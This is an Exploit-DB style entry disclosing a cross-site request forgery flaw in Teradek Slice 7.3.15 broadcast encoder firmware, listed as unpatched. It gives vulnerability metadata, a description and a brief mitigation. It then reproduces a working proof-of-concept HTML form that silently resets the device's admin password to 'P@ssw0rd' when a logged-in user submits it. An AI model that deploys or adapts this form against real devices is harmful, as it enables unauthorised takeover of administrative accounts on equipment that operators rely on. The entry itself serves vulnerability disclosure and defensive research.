Teradek Slice 7.3.15 CSRF Change Password Exploit

vendor:

Slice

by:

Gjoko 'LiquidWorm' Krstic

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Slice

Affected Version From: Firmware Version: 7.3.15 (build 31735)

Affected Version To: Firmware Version: 7.3.15 (build 31735)

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: lighttpd/1.4.48, lighttpd/1.4.31

2018

Teradek Slice 7.3.15 CSRF Change Password Exploit

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implementing a random token in the request and validating it on the server side can prevent CSRF attacks.

Source

Exploit-DB raw data:

<!--

Teradek Slice 7.3.15 CSRF Change Password Exploit


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version: 7.3.15 (build 31735)
                  Hardware Version: 2.1


Summary: Built on the award-winning Cube platform, Slice is a rack mount
HEVC / H.264 codec designed to fit seamlessly into your broadcast studio.
Like the Cube, Slice encoders and decoders includes 3G-SDI and HDMI I/O,
Ethernet and WiFi connectivity, and full duplex IFB.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.48
           lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5467
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5467.php


02.03.2018

-->


<html>
  <body>
    <form action="http://127.0.0.1:8090/cgi-bin/password.cgi">
      <input type="hidden" name="pw1" value="P@ssw0rd" />
      <input type="hidden" name="pw2" value="P@ssw0rd" />
      <input type="hidden" name="user" value="admin" />
      <input type="submit" value="Initiate" />
    </form>
  </body>
</html>